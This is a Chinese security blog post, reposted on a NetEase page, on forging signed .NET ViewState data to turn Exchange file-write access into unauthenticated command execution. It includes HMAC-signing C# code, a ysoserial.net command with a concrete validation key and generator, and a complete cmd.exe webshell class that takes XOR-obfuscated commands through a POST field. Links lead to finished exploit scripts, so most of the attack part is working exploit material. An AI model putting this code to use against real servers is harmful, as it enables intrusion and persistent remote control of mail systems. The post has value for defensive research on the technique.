网易首页 > 网易号 > 正文 申请入驻

DotNet反序列化——生成ViewState的程序实现

0
分享至

在上篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了通过.Net反序列化ViewState从Exchange文件读写权限到命令执行的方法,分享了三种利用脚本的开发细节,本文将要具体分析生成ViewState的细节,介绍另外一种实现从Exchange文件读写权限到命令执行的脚本开发细节。

参考资料:

http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

https://github.com/pwntester/ysoserial.net

0x01 简介

本文将要介绍以下内容:

·两种生成ViewState的实现方法

·另外一种利用脚本开发的细节

·开源代码

0x02 背景知识

1.DotNet反序列化ViewState的实现原理

如果能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够构造出有效的序列化数据。如果将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter进行反序列化调用委托时,就能实现远程代码执行。

2.ViewState的生成流程

使用validationkey和generator作为参数,对序列化xaml数据进行签名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容

直观理解:

data = Serialize(xaml)

ViewState = data + (data+generator).ComputeHash(validationKey)

ViewState = Base64(ViewState)

加密细节可参考:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255

https://github.com/0xacb/viewgen/blob/master/viewgen#L156

具体细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数

0x03 两种生成ViewState的实现方法

测试环境:

获得了Exchange文件读写权限,能够修改和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下:

对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据

下面介绍两种生成ViewState的程序实现方法

1.从xaml数据生成ViewState

流程如下:

1. 构造xaml数据

2. 生成序列化xaml数据

3. 生成签名数据

4. 拼接序列化xaml数据和签名数据后作Base64编码

(1)构造xaml数据

这里介绍4种,分别对应4个功能

执行命令:

写文件:

注:需要注意xaml的转义字符。

设置Header:

设置Response:

(2)生成序列化xaml数据

需要用到Microsoft.PowerShell.Editor.dll

(3)生成签名数据

参考代码:

byte[] validationKey= strToToHexByte(key);

uint _clientstateid = 0;

// Converting "generator" from HEX to INT

if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))

System.Environment.Exit(0);

byte[] _mackey = new byte[4];

_mackey[0] = (byte)_clientstateid;

_mackey[1] = (byte)(_clientstateid >> 8);

_mackey[2] = (byte)(_clientstateid >> 16);

_mackey[3] = (byte)(_clientstateid >> 24);

ms = new MemoryStream();

ms.Write(data,0,data.Length);

ms.Write(_mackey,0,_mackey.Length);

byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());

注:代码修改自https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs#L253

(4)拼接序列化xaml数据和签名数据后作Base64编码

调用Convert.ToBase64String()即可。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/XamlToViewState.cs

代码能够读取xaml文件,使用validationkey和generator计算签名,生成最终的ViewState。

优点:流程清晰,便于调试和修改细节。

缺点:需要依赖中间文件Microsoft.PowerShell.Editor.dll,占用空间。

注:

该方法的完整利用文件已打包上传至github,地址如下:

https://github.com/3gstudent/test/blob/master/XamlToViewState.zip

2.从序列化xaml数据生成ViewState

借助ysoserial.net跳过从xaml数据到序列化xaml数据的环节,提高开发效率。

流程如下:

(1)修改ysoserial.net源码,直接读取可用的序列化xaml数据

在https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L209添加如下代码:

Console.WriteLine(payloadString);

Console.WriteLine("The content above is what we need");

Console.WriteLine("-----------");

能够在控制台输出Base64编码的序列化xaml数据。

编译ysoserial.net,生成ysoserial.exe,在同级目录新建shellPayload.cs,内容如下:

class E

{

static string xor(string s) {

char[] a = s.ToCharArray();

for(int i = 0; i < a.Length; i++)

a[i] = (char)(a[i] ^ 'x');

return new string(a);

}

public E()

{

System.Web.HttpContext context = System.Web.HttpContext.Current;

context.Server.ClearError();

context.Response.Clear();

try

{

System.Diagnostics.Process process = new System.Diagnostics.Process();

process.StartInfo.FileName = "cmd.exe";

string cmd = context.Request.Form["__Value"];

cmd = xor(cmd);

process.StartInfo.Arguments = "/c " + cmd;

process.StartInfo.RedirectStandardOutput = true;

process.StartInfo.RedirectStandardError = true;

process.StartInfo.UseShellExecute = false;

process.Start();

string output = process.StandardOutput.ReadToEnd();

output = xor(output);

context.Response.Write(output);

} catch (System.Exception) { }

context.Response.Flush();

context.Response.End();

}

}

使用ysoserial.exe生成ViewState,命令如下:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "shellPayload.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

从输出中获得Base64编码的序列化xaml数据。

(2)计算序列化xaml数据的签名,生成最终的ViewState数据

代码如下:

static string CreateViewState(byte[] dat,string generator,string key)

{

MemoryStream ms = new MemoryStream();

byte[] validationKey= strToHexByte(key);

uint _clientstateid = 0;

if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))

{

System.Environment.Exit(0);

}

byte[] _mackey = new byte[4];

_mackey[0] = (byte)_clientstateid;

_mackey[1] = (byte)(_clientstateid >> 8);

_mackey[2] = (byte)(_clientstateid >> 16);

_mackey[3] = (byte)(_clientstateid >> 24);

ms = new MemoryStream();

ms.Write(dat,0,dat.Length);

ms.Write(_mackey,0,_mackey.Length);

byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());

ms=new MemoryStream();

ms.Write(dat,0,dat.Length);

ms.Write(hash,0,hash.Length);

return Convert.ToBase64String(ms.ToArray());

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SerializeXamlToViewState.cs

代码实现了从序列化xaml数据计算签名,生成最终的ViewState数据。

优点:占用空间更小,可以直接使用ysoserial.net已有的Payload。

缺点:调试和修改比较麻烦。

注:以上两种实现方法的CreateViewState()函数在细节上存在区别,需要注意。

0x04 另外一种利用脚本开发的细节

用来实现从Exchange文件读写权限到命令执行。

参照https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs的结构,将序列化xaml数据封装在数组中,使用validationkey和generator作为参数,对序列化xaml数据进行签名,组成最终的ViewState内容。

完整的实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.cs

代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx

代码首先发送ysoserial.net实现ActivitySurrogateDisableTypeCheck的数据,接着能够执行命令并获得命令执行的结果,通过POST方式以参数__Value发送数据,通信数据采用逐字符异或加密。

支持的功能同ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py保持一致。

0x05 小结

本文分析了生成ViewState的细节,介绍了两种生成ViewState的程序实现方法,编写代码实现了另外一种从Exchange文件读写权限到命令执行的利用脚本。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
生怕军迷看不清,央视特写轰-6K高超配重弹,大洋彼岸看得懂么?

生怕军迷看不清,央视特写轰-6K高超配重弹,大洋彼岸看得懂么?

啸鹰评
2024-11-04 21:55:12
中国赚最大!SU-57抵达珠海:印度不满,美国恼怒

中国赚最大!SU-57抵达珠海:印度不满,美国恼怒

星辰大海路上的种花家
2024-11-05 14:45:41
杨超越和张碧晨同框,不得不说杨超越的颜值是真的很高!

杨超越和张碧晨同框,不得不说杨超越的颜值是真的很高!

人情皆文史
2024-10-05 02:18:29
航空工业沈阳所首席专家透露:歼35是一个系列

航空工业沈阳所首席专家透露:歼35是一个系列

界面新闻
2024-11-05 20:06:48
官宣,上海申花休赛期第1签曝光,30岁,身高185,联手特谢拉冲冠

官宣,上海申花休赛期第1签曝光,30岁,身高185,联手特谢拉冲冠

东球弟
2024-11-05 14:54:40
北京这一夜:古力娜扎丰满有料,关晓彤又壮了,我却被李一桐惊艳

北京这一夜:古力娜扎丰满有料,关晓彤又壮了,我却被李一桐惊艳

八卦南风
2024-11-05 13:12:59
世界首富马斯克,为什么要让母亲搬到中国居住?

世界首富马斯克,为什么要让母亲搬到中国居住?

星辰故事屋
2024-11-04 16:41:27
又轰28分14板13助,7场3三双!他再这么打下去,威少三双王不保了

又轰28分14板13助,7场3三双!他再这么打下去,威少三双王不保了

篮坛扒客
2024-11-05 20:12:55
大决战!今天,沸腾了!

大决战!今天,沸腾了!

中国基金报
2024-11-05 15:59:48
36岁张继科新店开业阵仗大,本人脸色好憔悴,景甜刚做3个手术!

36岁张继科新店开业阵仗大,本人脸色好憔悴,景甜刚做3个手术!

花花lo先森
2024-11-05 10:45:32
1960年苏联撤走专家,临走时一苏联专家悄悄道:你们有王就够了

1960年苏联撤走专家,临走时一苏联专家悄悄道:你们有王就够了

梦里大唐
2024-11-04 16:49:22
A股,做好准备吧,没有意外的话,明天周三将迎来更大级别变盘

A股,做好准备吧,没有意外的话,明天周三将迎来更大级别变盘

价值投资者
2024-11-05 16:34:08
CCTV5直播!林诗栋战世界冠军,国乒四场外战 今天产生16强

CCTV5直播!林诗栋战世界冠军,国乒四场外战 今天产生16强

好乒乓
2024-11-05 12:31:23
第四艘航母,这次真的来了,关于核动力,海军上将一锤定音

第四艘航母,这次真的来了,关于核动力,海军上将一锤定音

常高俊April工作室
2024-11-04 11:14:01
湖北一男子带岳母抓妻子出轨,看到床上的人,岳母直呼:怎么是你

湖北一男子带岳母抓妻子出轨,看到床上的人,岳母直呼:怎么是你

五元讲堂
2024-10-31 12:02:58
鲍尔默开心了!不仅因为快船对马刺上演大逆转,更因为以下几点!

鲍尔默开心了!不仅因为快船对马刺上演大逆转,更因为以下几点!

田先生篮球
2024-11-05 15:04:34
香椿树比毒蛇还危险?为何说“不怕蛇进家门,就怕香椿高过房”?

香椿树比毒蛇还危险?为何说“不怕蛇进家门,就怕香椿高过房”?

答案在这儿
2024-11-04 18:26:10
向佐穿向太大衣走红毯!摆出妖娆的动作,网友:和郭碧婷比美呢?

向佐穿向太大衣走红毯!摆出妖娆的动作,网友:和郭碧婷比美呢?

木子爱娱乐大号
2024-11-05 18:20:29
精液啥味道?竟然有人会觉得“香”有人觉得“苦”

精液啥味道?竟然有人会觉得“香”有人觉得“苦”

图灵灵2024
2024-11-04 11:43:21
卡莱尔:为波波教练祈祷 我不清楚发生了什么但很多人都在担心他

卡莱尔:为波波教练祈祷 我不清楚发生了什么但很多人都在担心他

直播吧
2024-11-05 09:48:43
2024-11-05 20:28:49
嘶吼RoarTalk
嘶吼RoarTalk
不一样的互联网安全新视界
7609文章数 10520关注度
往期回顾 全部

科技要闻

字节跳动上半年营收直逼Meta:TikTok狂飙

头条要闻

选前“封关”民调:哈里斯领先特朗普4个百分点

头条要闻

选前“封关”民调:哈里斯领先特朗普4个百分点

体育要闻

一个想改变中国足球的日本人

娱乐要闻

周雨彤风波升级!阴阳怪气遭全网怒怼

财经要闻

超配!高盛:AH股未来一年回报率20%

汽车要闻

新款别克世纪将11月12日上市 预售价48.99万起

态度原创

本地
旅游
亲子
房产
公开课

本地新闻

塞上青城|是课本里的风吹草低见牛羊

旅游要闻

北京环球影城大巡游本周六起回归

亲子要闻

5月龄宝宝脑瘤术后肺炎 心急妈妈门诊咨询化疗效果

房产要闻

加急补货!三亚巨量住宅马上杀出!备案价最高飙到7万+/㎡!

公开课

AI如何揭开大自然和宇宙的奥秘

无障碍浏览 进入关怀版